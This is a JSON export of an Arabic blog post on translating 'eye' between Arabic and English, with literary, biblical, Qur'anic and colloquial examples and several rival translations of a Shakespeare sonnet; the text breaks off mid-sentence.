{"id":23281,"date":"2020-08-31T03:48:38","date_gmt":"2020-08-31T03:48:38","guid":{"rendered":"http:\/\/www.worldofculture2020.com\/?p=23281"},"modified":"2020-08-31T03:48:38","modified_gmt":"2020-08-31T03:48:38","slug":"%d8%b9%d9%84%d9%89-%d9%87%d8%a7%d9%85%d8%b4-%d8%a7%d9%84%d8%aa%d8%b1%d8%ac%d9%85%d8%a9%d8%a7%d9%84%d8%b9%d9%8a%d9%86-%d8%a8%d9%8a%d9%86-%d8%a7%d9%84%d8%b9%d8%b1%d8%a8%d9%8a%d8%a9-%d9%88-%d8%a7%d9%84","status":"publish","type":"post","link":"https:\/\/worldofculture2020.com\/?p=23281","title":{"rendered":"\u0639\u0644\u0649 \u0647\u0627\u0645\u0634 \u0627\u0644\u062a\u0631\u062c\u0645\u0629:\u0627\u0644\u0639\u064a\u0646 \u0628\u064a\u0646 \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0648 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong>\u0623\u0628\u0648 \u0627\u0644\u062d\u0633\u0646 \u0645\u062d\u0645\u062f \u0639\u0644\u0649 | \u0645\u0635\u0631 &#8211; \u0623\u0633\u0648\u0627\u0646<\/strong><\/p>\n<p style=\"text-align: justify;\">\u0645\u0646\u0630 \u0633\u0646\u0649 \u062f\u0631\u0627\u0633\u0627\u062a\u0646\u0627 \u0627\u0644\u0623\u0648\u0644\u0649 \u0644\u0644\u063a\u0629 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u0627\u0633\u062a\u0642\u0631 \u0641\u0649 \u0648\u062c\u062f\u0627\u0646\u0646\u0627 \u0648 \u0646\u0642\u0634 \u0641\u0649 \u0639\u0642\u0648\u0644\u0646\u0627 \u0623\u0646 \u0643\u0644\u0645\u0629 \u0639\u064a\u0646 \u062a\u0639\u0646\u0649 \u0628\u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 &#8221; eye&#8221;\u00a0 \u0648 \u0647\u0630\u0627 \u0644\u0627 \u0631\u064a\u0628 \u0635\u062d\u064a\u062d \u0644\u0643\u0646 \u0645\u0627 \u064a\u063a\u064a\u0628 \u0639\u0646 \u0623\u0630\u0647\u0627\u0646 \u0627\u0644\u0643\u062b\u064a\u0631\u064a\u0646 \u0647\u0648 \u0623\u0646 \u0647\u0627\u062a\u064a\u0646 \u0627\u0644\u0643\u0644\u0645\u062a\u064a\u0646 \u0645\u062a\u0634\u0639\u0628\u062a\u0649 \u0627\u0644\u0645\u0639\u0627\u0646\u0649 \u0648 \u0643\u062b\u064a\u0631\u062a\u0649 \u0627\u0644\u0625\u0633\u062a\u062e\u062f\u0627\u0645 \u0641\u0649 \u0627\u0644\u0644\u063a\u062a\u064a\u0646 : \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0648 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629\u00a0 \u0639\u0644\u0649 \u0627\u0644\u0633\u0648\u0627\u0621 . \u0643\u0645\u0627 \u0623\u0646 \u0627\u0644\u0643\u0644\u0645\u062a\u064a\u0646 \u062a\u0634\u0643\u0644\u0627\u0646 \u062c\u0632\u0621\u0627\u064e \u0645\u0646 \u0645\u0635\u0637\u0644\u062d \u0627\u0644\u0644\u063a\u062a\u064a\u0646 \u0641\u0649 \u0633\u064a\u0627\u0642\u0627\u062a\u0647\u0645\u0627 \u0627\u0644\u0645\u062e\u062a\u0644\u0641\u0629 .<\/p>\n<p style=\"text-align: justify;\">\u0627\u0644\u0645\u0639\u0646\u0649 \u0627\u0644\u0623\u0648\u0644 \u0648 \u0627\u0644\u0623\u0633\u0627\u0633\u0649 \u0644\u0643\u0644\u0645\u0629 &#8220;\u0639\u064a\u0646 &#8221; \u064a\u0634\u064a\u0631 \u0627\u0644\u0649 \u0639\u0636\u0648 \u0627\u0644\u0625\u0628\u0635\u0627\u0631 \u0644\u062f\u0649 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0648 \u0627\u0644\u062d\u064a\u0648\u0627\u0646\u0627\u062a \u0648 \u062a\u0631\u062c\u0645\u062a\u0647 \u0627\u0644\u0649 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u0643\u0645\u0627 \u0623\u0633\u0644\u0641\u0646\u0627 \u0648\u0643\u0645\u0627 \u0646\u0639\u0631\u0641 \u062c\u0645\u064a\u0639\u0627 \u064e \u0647\u0649 &#8221; eye&#8221;<\/p>\n<p style=\"text-align: justify;\">He has no sight in his left eye. \u0647\u0648 \u0644\u0627 \u064a\u0628\u0635\u0631 \u0628\u0639\u064a\u0646\u0647 \u0627\u0644\u064a\u0633\u0631\u0649<\/p>\n<p style=\"text-align: justify;\">\u0648 \u0645\u0646 \u0647\u0630\u0627 \u0627\u0644\u0645\u0639\u0646\u0649 \u0646\u062c\u062f \u0641\u0649 \u0627\u0644\u0634\u0639\u0631 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u0649 eye of day \/heaven \u0623\u0649 &#8221; \u0639\u064a\u0646 \u0627\u0644\u0646\u0647\u0627\u0631 \/\u0627\u0644\u0633\u0645\u0627\u0621 &#8221; \u0643\u0646\u0627\u064a\u0629 \u0639\u0646 &#8221; \u0627\u0644\u0634\u0645\u0633&#8221; \u0643\u0645\u0627 \u0646\u062c\u062f \u0627\u064a\u0636\u0627\u064e\u00a0 &#8220;The eyes of heaven\/night&#8221; &#8221; \u2018\u0639\u064a\u0648\u0646 \u0627\u0644\u0633\u0645\u0627\u0621\/ \u0627\u0644\u0644\u064a\u0644&#8221; \u0643\u0646\u0627\u064a\u0629 \u0639\u0646 \u0627\u0644\u0646\u062c\u0648\u0645<\/p>\n<p style=\"text-align: justify;\">\u064a\u0642\u0648\u0644 \u0625\u062f\u0645\u0648\u0646\u062f \u0633\u0628\u0646\u0633\u0631 &#8221; Edmund Senser&#8221; \u0641\u0649 \u0642\u0635\u064a\u062f\u0629 &#8221; \u0645\u0644\u0643\u0629 \u0627\u0644\u062c\u0627\u0646 The &#8220;Fairy Queen :<\/p>\n<p style=\"text-align: justify;\">Her angels face, As the great eye of heaven shyned bright.\u062a\u0623\u0644\u0642 \u0648\u062c\u0647\u0647\u0627 \u0627\u0644\u0645\u0644\u0627\u0626\u0643\u0649 \u0643\u0627\u0644\u0634\u0645\u0633 \u0641\u0649 \u0643\u0628\u062f \u0627\u0644\u0633\u0645\u0627\u0621\u00a0\u00a0<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 (Spenser, F.Q, I,iii,4)<\/p>\n<p style=\"text-align: justify;\">\u0643\u0645\u0627 \u064a\u0642\u0648\u0644 \u0634\u0643\u0633\u0628\u064a\u0631 \u0641\u0649 \u0645\u0633\u0631\u062d\u064a\u0629 \u0627\u0644\u0645\u0644\u0643 \u062c\u0648\u0646 :<\/p>\n<p style=\"text-align: justify;\">The glorious sunne\u2026turning with splendor of his precious eye The meager cloddy earth to glittering gold.\u062a\u062d\u064a\u0644 \u0627\u0644\u0634\u0645\u0633&#8230; \u0628\u0633\u0646\u0627 \u0623\u0634\u0639\u062a\u0647\u0627 \u0627\u0644\u0628\u0627\u0647\u0631\u0629 \u0627\u0644\u0623\u0631\u0636 \u0627\u0644\u0642\u0627\u062d\u0644\u0629 \u0627\u0644\u0645\u062c\u062f\u0628\u0629 \u0627\u0644\u0649 \u0627\u0644\u0644\u0648\u0646 \u0627\u0644\u0630\u0647\u0628\u0649<\/p>\n<p style=\"text-align: justify;\">\u0643\u0645\u0627 \u0646\u062c\u062f \u0623\u064a\u0636\u0627\u064e \u0641\u0649 \u0627\u0644\u0633\u0648\u0646\u064a\u062a\u0629 \u0627\u0644\u062b\u0627\u0645\u0646\u0629 \u0639\u0634\u0631 \u0644\u0634\u0643\u0633\u0628\u064a\u0631 \u0648 \u0647\u0649 \u0645\u0646 \u0623\u0634\u0647\u0631 \u0633\u0648\u0646\u064a\u062a\u0627\u062a \u0634\u0643\u0633\u0628\u064a\u0631 \u0642\u0627\u0637\u0628\u0629 \u0648 \u064a\u0643\u0627\u062f \u064a\u0639\u0631\u0641\u0647\u0627 \u0643\u0644 \u062f\u0627\u0631\u0633 \u0644\u0644\u0623\u062f\u0628 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u0649 \u0628\u0635\u0641\u0629 \u0639\u0627\u0645\u0629 \u0648 \u0634\u0639\u0631 \u0634\u0643\u0633\u0628\u064a\u0631 \u0628\u0635\u0641\u0629 \u062e\u0627\u0635\u0629 :<\/p>\n<p style=\"text-align: justify;\">Sometime too hot the eye of heaven shines,<\/p>\n<p style=\"text-align: justify;\">And often is his gold complexion dimmed,<\/p>\n<ul style=\"text-align: justify;\">\n<li>\u0648 \u0642\u062f \u062a\u0631\u062c\u0645\u0647\u0627 \u0639\u0645\u064a\u062f \u0645\u062a\u0631\u062c\u0645\u0649 \u0627\u0644\u0648\u0637\u0646 \u0627\u0644\u0639\u0631\u0628\u0649 \u0627\u0644\u062f\u0643\u062a\u0648\u0631 \u0645\u062d\u0645\u062f \u0639\u0646\u0627\u0646\u0649 \u0643\u0645\u0627 \u064a\u0644\u0649:<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648 \u0644\u0642\u062f \u062a\u0631\u0649 \u0639\u064a\u0646 \u0627\u0644\u0633\u0645\u0627\u0621 \u062a\u0634\u0639 \u062d\u0631\u0627\u064e \u0642\u062f \u062a\u0648\u0642\u062f<\/p>\n<p style=\"text-align: justify;\">\u0623\u0648 \u0642\u062f \u064a\u0646\u0642\u0628 \u0648\u062c\u0647\u0647\u0627 \u0627\u0644\u0630\u0647\u0628\u0649 \u063a\u064a\u0645 \u0642\u062f \u062a\u0644\u0628\u062f<\/p>\n<ul style=\"text-align: justify;\">\n<li>\u0623\u0645\u0627 \u0627\u0644\u062f\u0643\u062a\u0648\u0631 \u0639\u0628\u062f\u0627\u0644\u0648\u0627\u062d\u062f \u0644\u0624\u0644\u0624\u0629 \u0641\u0642\u062f \u062a\u0631\u062c\u0645 \u0627\u0644\u0623\u0628\u064a\u0627\u062a \u0643\u0645\u0627 \u064a\u0644\u0649 :<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648 \u0639\u064a\u0646 \u0627\u0644\u0634\u0645\u0633 \u0623\u062d\u064a\u0627\u0646\u0627\u064e \u062a\u0631\u0633\u0644 \u0645\u0646 \u0627\u0644\u062d\u0631 \u0627\u0644\u0645\u0632\u064a\u062f<\/p>\n<p style=\"text-align: justify;\">\u0648 \u063a\u0627\u0644\u0628\u0627\u064e \u0645\u0627 \u062a\u063a\u0634\u0649 \u0648\u062c\u0647\u0647\u0627 \u0627\u0644\u0630\u0647\u0628\u0649 \u063a\u064a\u0648\u0645<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">3&#8211;\u0648 \u064a\u062a\u0631\u062c\u0645 \u0627\u0644\u062f\u0643\u062a\u0648\u0631 \u0639\u0635\u0645\u062a \u0648\u0627\u0644\u0649 \u0647\u0630\u064a\u0646 \u0627\u0644\u0628\u064a\u062a\u064a\u0646 \u0641\u064a\u0642\u0648\u0644:<\/p>\n<p style=\"text-align: justify;\">\u062a\u0636\u0626 \u0639\u064a\u0646 \u0627\u0644\u0634\u0645\u0633 \u0628\u0623\u0634\u062f \u062d\u0631\u0627\u0631\u062a\u0647\u0627 \u0645\u0631\u0629 ,<\/p>\n<p style=\"text-align: justify;\">\u0648 \u0643\u062b\u064a\u0631\u0627\u064e \u0645\u0627 \u062a\u0643\u0628\u0648 \u0628\u0634\u0631\u062a\u0647\u0627 \u0627\u0644\u0630\u0647\u0628\u064a\u0629<\/p>\n<p style=\"text-align: justify;\">4-\u0623\u0645\u0627 \u0627\u0644\u0646\u0627\u0642\u062f \u0627\u0644\u0643\u0628\u064a\u0631 \u0648 \u0623\u0633\u062a\u0627\u0630 \u0643\u0631\u0633\u0649 \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0628\u062c\u0627\u0645\u0639\u0629 \u0644\u0646\u062f\u0646 \u0627\u0644\u062f\u0643\u062a\u0648\u0631 \u0643\u0645\u0627\u0644 \u0627\u0644\u062f\u064a\u0628 \u0641\u0642\u062f \u0623\u062a\u062d\u0641\u0646\u0627 \u0628\u062a\u0631\u062c\u0645\u062a\u064a\u0646 \u0625\u062d\u062f\u0627\u0647\u0645\u0627 \u0646\u062b\u0631\u0627\u064e \u0648 \u0627\u0644\u062b\u0627\u0646\u064a\u0629 \u0634\u0639\u0631\u0627\u064e<\/p>\n<ul style=\"text-align: justify;\">\n<li>\u0648 \u062d\u062f\u0642\u0629 \u0627\u0644\u0633\u0645\u0627\u0621 \u062a\u0634\u0639 \u0623\u062d\u064a\u0627\u0646\u0627\u064e \u0628\u0634\u0648\u0627\u0638 \u0644\u0627\u0647\u0628\u0629<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648 \u0643\u062b\u064a\u0631\u0627\u064e \u0645\u0627 \u062a\u063a\u0644\u0641 \u0628\u0634\u0631\u062a\u0647\u0627 \u0627\u0644\u0630\u0647\u0628\u064a\u0629 \u063a\u0644\u0627\u0644\u0629 \u0643\u0627\u0645\u062f\u0629<\/p>\n<ul style=\"text-align: justify;\">\n<li>\u0623\u062d\u064a\u0627\u0646\u0627\u064e \u062a\u0631\u0633\u0644 \u0639\u064a\u0646 \u0627\u0644\u0643\u0648\u0646 \u0634\u0648\u0627\u0638\u0627\u064e \u0644\u0627\u0647\u0628\u0629 \u062a\u0643\u0648\u0649,<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648 \u0643\u062b\u064a\u0631\u0627\u064e \u0645\u0627 \u062a\u062d\u062c\u0628 \u0628\u0634\u0631\u062a\u0647\u0627 \u0627\u0644\u0630\u0647\u0628\u064a\u0629 \u0633\u062d\u0628 \u062f\u0643\u0646\u0627\u0621 \u0627\u0644\u0644\u0648\u0646<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">5- \u0648 \u064a\u0644\u062a\u0632\u0645 \u0627\u0644\u0634\u0627\u0639\u0631 \u0628\u062f\u0631 \u062a\u0648\u0641\u064a\u0642 \u0627\u0644\u062d\u0631\u0641\u064a\u0629 \u0627\u0644\u0634\u062f\u064a\u062f\u0629 \u0641\u0649 \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0625\u0630 \u064a\u0642\u0648\u0644<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">\u062a\u0634\u0631\u0642 \u0639\u064a\u0646 \u0627\u0644\u0634\u0645\u0633 \u0623\u062d\u064a\u0627\u0646\u0627\u064e \u0628\u062d\u0631\u0627\u0631\u0629 \u0634\u062f\u064a\u062f\u0629 ,<\/p>\n<p style=\"text-align: justify;\">\u0648 \u063a\u0627\u0644\u0628\u0627\u064e \u0645\u0627 \u064a\u0635\u064a\u0631 \u0647\u0630\u0627 \u0627\u0644\u0648\u0647\u062c \u0627\u0644\u0630\u0647\u0628\u0649 \u0645\u0639\u062a\u0645\u0627\u064e<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">\u0648 \u0643\u0645\u0627 \u0646\u0642\u0648\u0644 \u0641\u0649 \u0627\u0644\u0639\u0631\u0628\u064a\u0629 &#8221; \u0645\u0646 \u0623\u062c\u0644 \u0639\u064a\u0648\u0646 \/ \u0645\u0646 \u0623\u062c\u0644 \u0633\u0648\u0627\u062f \u0639\u064a\u0648\u0646 &#8230;&#8221;\u00a0 \u064a\u0642\u0648\u0644 \u0623\u0628\u0646\u0627\u0621 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 &#8221; For the fair eyes of\u2026&#8221; \u0628\u0646\u0641\u0633 \u0627\u0644\u0645\u0639\u0646\u0649<\/p>\n<p style=\"text-align: justify;\">He did it for the fair eyes \/for the sake of his girlfriend \u0642\u0627\u0645 \u0628\u0627\u0644\u0623\u0645\u0631 \u0644\u0623\u062c\u0644 \u0639\u064a\u0648\u0646 \u0635\u062f\u064a\u0642\u062a\u0647<\/p>\n<p style=\"text-align: justify;\">\u0648 \u062a\u0633\u062a\u062e\u062f\u0645 &#8221; \u0627\u0644\u0639\u064a\u0646 &#8221;\u00a0 \u0641\u0649 \u0633\u064a\u0627\u0642 \u0627\u0644\u0623\u062e\u0630 \u0628\u0627\u0644\u062b\u0623\u0631 \u0623\u0648 \u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0645\u0628\u062f\u0623 &#8221; \u0627\u0644\u0639\u064a\u0646 \u0628\u0627\u0644\u0639\u064a\u0646 an eye for an eye&#8221;\u00a0 \u0648 \u0630\u0644\u0643 \u0641\u0649 \u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u0627\u0644\u0649 \u0645\u0627 \u0648\u0631\u062f \u0641\u0649 \u0627\u0644\u0643\u062a\u0627\u0628 \u0627\u0644\u0645\u0642\u062f\u0633 \u0641\u0649 \u0645\u0648\u0627\u0636\u0639 \u0645\u062e\u062a\u0644\u0641\u0629<\/p>\n<p style=\"text-align: justify;\">(22) If men strive, and hurt a woman with child, so that her fruit depart from her, and yet no mischief follows: he shall be surely punished, according as the woman&#8217;s husband will lay upon him; and he shall pay as the judges determine.( 23) And if any mischief follow, then thou shalt give life for life, (24) Eye for eye, tooth for tooth, hand for hand, foot for foot,( 25) Burning for burning, wound for wound, stripe for stripe.<\/p>\n<p style=\"text-align: justify;\">(22) \u0648 \u0625\u0630\u0627 \u062a\u062e\u0627\u0635\u0645 \u0631\u062c\u0627\u0644 \u0648 \u0635\u062f\u0645\u0648\u0627 \u0627\u0645\u0631\u0623\u0629 \u062d\u0628\u0644\u0649 \u0641\u0633\u0642\u0637 \u0648\u0644\u062f\u0647\u0627 \u0648 \u0644\u0645 \u062a\u062d\u0635\u0644 \u0623\u0630\u064a\u0629 \u064a\u063a\u0631\u0645 \u0643\u0645\u0627 \u064a\u0636\u0639 \u0639\u0644\u064a\u0647 \u0632\u0648\u062c \u0627\u0644\u0645\u0631\u0623\u0629 \u0648 \u064a\u062f\u0641\u0639 \u0639\u0646 \u064a\u062f \u0627\u0644\u0642\u0636\u0627\u0629 (23)\u0648 \u0627\u0646 \u062d\u062f\u062b\u062a \u0623\u0630\u064a\u0629 \u062a\u0639\u0637\u0649 \u0646\u0641\u0633\u0627\u064e \u0628\u0646\u0641\u0633(24) \u0648 \u0639\u064a\u0646\u0627\u064e \u0628\u0639\u064a\u0646 \u0648 \u0633\u0646\u0627\u064e \u0628\u0633\u0646 \u0648 \u064a\u062f\u0627\u064e \u0628\u064a\u062f \u0648 \u0631\u062c\u0644\u0627\u064e \u0628\u0631\u062c\u0644 (25) \u0648 \u0643\u064a\u0627\u064e \u0628\u0643\u0649 \u0648 \u062c\u0631\u062d\u0627\u064e \u0628\u062c\u0631\u062d \u0648 \u0631\u0636\u0627\u064e \u0628\u0631\u0636<\/p>\n<p style=\"text-align: justify;\">(\u0633\u0641\u0631 \u0627\u0644\u062e\u0631\u0648\u062c\/\u0627\u0644\u0625\u0635\u062d\u0627\u062d 21\/ \u0627\u0644\u0622\u064a\u0627\u062a 22-25)<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">(19) And if a man cause a blemish in his neighbour; as he hath done, so shall it be done to him;( 20) Breach for breach, eye for eye, tooth for tooth: as he hath caused a blemish in a man, so shall it be done to him again.<\/p>\n<p style=\"text-align: justify;\">.<\/p>\n<p style=\"text-align: justify;\">)19 )\u0648\u0627\u0630\u0627 \u0623\u062d\u062f\u062b \u0627\u0646\u0633\u0627\u0646 \u0641\u064a \u0642\u0631\u064a\u0628\u0647 \u0639\u064a\u0628\u0627 \u0641\u0643\u0645\u0627 \u0641\u0639\u0644 \u0643\u0630\u0644\u0643 \u064a\u0641\u0639\u0644 \u0628\u0647. (20) \u0643\u0633\u0631 \u0628\u0643\u0633\u0631 \u0648\u0639\u064a\u0646 \u0628\u0639\u064a\u0646 \u0648\u0633\u0646 \u0628\u0633\u0646.\u0643\u0645\u0627 \u0623\u062d\u062f\u062b \u0639\u064a\u0628\u0627 \u0641\u064a \u0627\u0644\u0627\u0646\u0633\u0627\u0646 \u0643\u0630\u0644\u0643 \u064a\u062d\u062f\u062b \u0641\u064a\u0647. \u00a0<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 (\u0633\u0641\u0631 \u0627\u0644\u0644\u0627\u0648\u064a\u064a\u0646: \u0627\u0635\u062d\u0627\u062d 24, 19-20)<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">(21) And thine eye shall not pity; but life shall go for life, eye for eye, tooth for tooth, hand for hand, foot for foot.<\/p>\n<p style=\"text-align: justify;\">(21) \u0644\u0627 \u062a\u0634\u0641\u0642 \u0639\u064a\u0646\u0643.\u0646\u0641\u0633 \u0628\u0646\u0641\u0633.\u0639\u064a\u0646 \u0628\u0639\u064a\u0646.\u0633\u0646 \u0628\u0633\u0646.\u064a\u062f \u0628\u064a\u062f.\u0631\u062c\u0644 \u0628\u0631\u062c\u0644.<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ( \u0633\u0641\u0631 \u0627\u0644\u062a\u062b\u0646\u064a\u0629 :19, 21)<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">\u0648\u0641\u0649 \u0627\u0644\u0642\u0631\u0622\u0646 \u0627\u0644\u0643\u0631\u064a\u0645 \u064a\u0642\u0648\u0644 \u0627\u0644\u0645\u0648\u0644\u0649 \u0633\u0628\u062d\u0627\u0646\u0647 \u0648 \u062a\u0639\u0627\u0644\u0649 \u0641\u0649 \u0633\u0648\u0631\u0629 \u0627\u0644\u0645\u0627\u0626\u062f\u0629\u00a0 :<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">\u0648\u064e\u0643\u064e\u062a\u064e\u0628\u06e1\u0646\u064e\u0627 \u0639\u064e\u0644\u064e\u064a\u06e1\u0647\u0650\u0645\u06e1 \u0641\u0650\u064a\u0647\u064e\u0627\u0653 \u0623\u064e\u0646\u0651\u064e \u0671\u0644\u0646\u0651\u064e\u0641\u06e1\u0633\u064e \u0628\u0650\u0671\u0644\u0646\u0651\u064e\u0641\u06e1\u0633\u0650 \u0648\u064e\u0671\u0644\u06e1\u0639\u064e\u064a\u06e1\u0646\u064e \u0628\u0650\u0671\u0644\u06e1\u0639\u064e\u064a\u06e1\u0646\u0650 \u0648\u064e\u0671\u0644\u06e1\u0623\u064e\u0646\u0641\u064e \u0628\u0650\u0671\u0644\u06e1\u0623\u064e\u0646\u0641\u0650 \u0648\u064e\u0671\u0644\u06e1\u0623\u064f\u0630\u064f\u0646\u064e \u0628\u0650\u0671\u0644\u06e1\u0623\u064f\u0630\u064f\u0646\u0650 \u0648\u064e\u0671\u0644\u0633\u0651\u0650\u0646\u0651\u064e \u0628\u0650\u0671\u0644\u0633\u0651\u0650\u0646\u0651\u0650 \u0648\u064e\u0671\u0644\u06e1\u062c\u064f\u0631\u064f\u0648\u062d\u064e \u0642\u0650\u0635\u064e\u0627\u0635\u065e\u06da \u0641\u064e\u0645\u064e\u0646 \u062a\u064e\u0635\u064e\u062f\u0651\u064e\u0642\u064e \u0628\u0650\u0647\u0650\u06e6 \u0641\u064e\u0647\u064f\u0648\u064e \u0643\u064e\u0641\u0651\u064e\u0627\u0631\u064e\u0629\u065e \u0644\u0651\u064e\u0647\u064f\u06e5\u06da \u0648\u064e\u0645\u064e\u0646 \u0644\u0651\u064e\u0645\u06e1 \u064a\u064e\u062d\u06e1\u0643\u064f\u0645 \u0628\u0650\u0645\u064e\u0627\u0653 \u0623\u064e\u0646\u0632\u064e\u0644\u064e \u0671\u0644\u0644\u0651\u064e\u0647\u064f \u0641\u064e\u0623\u064f\u0648\u0652\u0644\u064e\u0670\u0653\u0626\u0650\u0643\u064e \u0647\u064f\u0645\u064f \u0671\u0644\u0638\u0651\u064e\u0670\u0644\u0650\u0645\u064f\u0648\u0646\u064e (45)<\/p>\n<p style=\"text-align: justify;\">In the Torah We prescribed for them a life for a life, an eye for an eye, a nose for a nose, an ear for an ear, a tooth for a tooth, an equal wound for a wound: if anyone forgoes this out of charity, it will serve as atonement for his bad deeds. Those who do not judge according to what God has revealed are doing grave wrong.<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u2014\u2009Al-Ma&#8217;ida Qur\u02be\u0101n, 5:45<\/p>\n<p style=\"text-align: justify;\">\u00a0\u0648 \u0644\u0637\u0627\u0644\u0645\u0627 \u062a\u063a\u0646\u0649 \u0627\u0644\u0645\u0637\u0631\u0628\u0648\u0646 \u0627\u0644\u0639\u0631\u0628 \u0642\u0627\u0626\u0644\u064a\u0646 &#8221; \u064a\u0627 \u0644\u064a\u0644 \u064a\u0627 \u0639\u064a\u0646 &#8221;\u00a0 \u0648\u0644\u0637\u0627\u0644\u0645\u0627 \u062a\u0633\u0627\u0621\u0644\u0646\u0627 \u0645\u0627\u0630\u0627 \u064a\u0639\u0646\u0648\u0646 \u0628\u0647\u0630\u0627 \u0627\u0644\u0644\u064a\u0644 \u0648 \u062a\u0644\u0644\u0643 \u0627\u0644\u0639\u064a\u0646 \u0648 \u0644\u0637\u0627\u0644\u0645\u0627 \u062a\u0631\u062c\u0645 \u0627\u0644\u0645\u062a\u0631\u062c\u0645\u0648\u0646 \u0639\u0628\u0627\u0631\u0629 &#8221; \u064a\u0627 \u0644\u064a\u0644 \u064a\u0627 \u0639\u064a\u0646 &#8221; \u0628 &#8221; Oh ,night.O,my eye&#8221;\u00a0 \u0631\u063a\u0645 \u0623\u0646\u0647\u0627 \u062a\u0631\u062c\u0645\u0629 \u062d\u0631\u0641\u064a\u0629 \u0648 \u0644\u0643\u0646\u0647\u0627 \u0645\u0642\u0628\u0648\u0644\u0629 \u0644\u0627\u0633\u062a\u062d\u0627\u0644\u0629 \u062a\u0631\u062c\u0645\u0629 \u0627\u0644\u0639\u0628\u0627\u0631\u0629 \u062a\u0631\u062c\u0645\u0629 \u0623\u062f\u0642 \u0644\u0639\u062f\u0645 \u0648\u062c\u0648\u062f \u0645\u0643\u0627\u0641\u0626 \u062b\u0642\u0627\u0641\u0649 \u0644\u0647\u0627 ( \u062d\u0633\u0628\u0645\u0627 \u0627\u0639\u0631\u0641 )\u0641\u0649 \u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0645\u0646\u0642\u0648\u0644 \u0625\u0644\u064a\u0647\u0627. \u0648 \u0643\u0645\u0627 \u064a\u0633\u062a\u062e\u062f\u0645 \u0627\u0644\u0645\u0637\u0631\u0628\u0648\u0646 \u0627\u0644\u0639\u0631\u0628 \u0643\u0644\u0645\u0629 &#8221; \u0639\u064a\u0646 &#8221; \u0641\u0649 \u0623\u063a\u0627\u0646\u064a\u0647\u0645 \u0648 \u0645\u0648\u0648\u0627\u0648\u064a\u0644\u0647\u0645 \u064a\u0633\u062a\u062e\u062f\u0645 \u0639\u0627\u0645\u0629 \u0627\u0644\u0646\u0627\u0633 \u0639\u0628\u0627\u0631\u0629 &#8221; \u064a\u0627 \u0639\u064a\u0646\u0649 &#8221; \u0644\u0644\u062a\u0639\u0628\u064a\u0631 \u0639\u0646 \u0645\u0639\u0627\u0646 \u062a\u062a\u0631\u0627\u0648\u062d \u0628\u064a\u0646 \u0627\u0644\u062f\u0647\u0634\u0629 \u0648 \u0627\u0644\u0625\u0633\u062a\u0647\u062c\u0627\u0646 \u0623\u0648 \u0627\u0644\u0633\u062e\u0631\u064a\u0629 \u0648 \u0627\u0644\u062a\u0647\u0643\u0645 \u0623\u0648 \u0627\u0644\u0634\u0641\u0642\u0629 \u0648 \u0627\u0644\u062a\u0639\u0627\u0637\u0641 \u0628\u062d\u0633\u0628 \u0627\u0644\u0633\u064a\u0627\u0642 \u0648\u0627\u0644\u0646\u0628\u0631\u0629 \u0627\u0644\u062a\u0649 \u062a\u0642\u0627\u0644 \u0628\u0647\u0627 \u0641\u0639\u0646\u062f\u0645\u0627 \u062a\u062a\u063a\u0646\u0649 \u0627\u0644\u0645\u0637\u0631\u0628\u0629 \u0627\u0644\u0645\u0635\u0631\u064a\u0629 &#8221; \u0634\u0627\u062f\u064a\u0629 &#8221; \u0628\u0643\u0644\u0645\u0627\u062a \u0627\u0644\u0623\u0628\u0646\u0648\u062f\u0649 \u0627\u0644\u0631\u0627\u0626\u0639\u0629 \u0641\u0649 \u0627\u0644\u0641\u064a\u0644\u0645 \u0627\u0644\u0643\u0644\u0627\u0633\u064a\u0643\u0649 &#8221; \u0634\u0626 \u0645\u0646 \u0627\u0644\u062e\u0648\u0641&#8221;\u00a0 \u0648 \u062a\u0642\u0648\u0644 &#8221; \u064a\u0627 \u0639\u064a\u0646\u0649 \u064a\u0627 \u0639\u064a\u0646\u0649 \u064a\u0627 